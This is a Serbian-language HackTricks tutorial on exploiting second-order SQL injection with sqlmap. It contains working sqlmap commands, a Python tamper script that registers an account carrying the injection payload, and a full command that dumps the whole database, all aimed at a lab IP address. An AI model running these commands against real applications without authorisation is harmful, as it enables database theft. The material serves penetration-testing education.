Second Order Injection - SQLMap

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

SQLMap može iskoristiti Second Order SQLi. Potrebno je obezbediti:

  • Zahtev u kojem će SQL injection payload biti sačuvan

  • Zahtev u kojem će payload biti izvršen

Zahtev u kojem je SQL injection payload sačuvan je označen kao i bilo koji drugi injection u sqlmap-u. Zahtev u kojem sqlmap može pročitati izlaz/izvršenje injectiona može se označiti sa --second-url ili sa --second-req ako treba da se označi kompletan zahtev iz fajla.

Jednostavan primer second order-a:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

U nekoliko slučajeva ovo neće biti dovoljno jer će vam biti potrebno izvršiti druge radnje osim slanja payloada i pristupa drugoj stranici.

Kada je to potrebno, možete koristiti sqlmap tamper. Na primer, sledeći skript će registrovati novog korisnika koristeći sqlmap payload kao email i odjaviti se.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

Uvek se izvršava SQLMap tamper pre nego što započne pokušaj ubacivanja sa payloadom i mora vratiti payload. U ovom slučaju nam nije bitan payload, već nam je bitno poslati neke zahteve, tako da payload nije promenjen.

Dakle, ako iz nekog razloga trebamo složeniji tok za iskorišćavanje SQL ubacivanja drugog reda kao što je:

  • Kreiranje naloga sa SQLi payloadom unutar polja "email"

  • Odjavljivanje

  • Prijavljivanje sa tim nalogom (login.txt)

  • Slanje zahteva za izvršavanje SQL ubacivanja (second.txt)

Ova linija sqlmap će pomoći:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated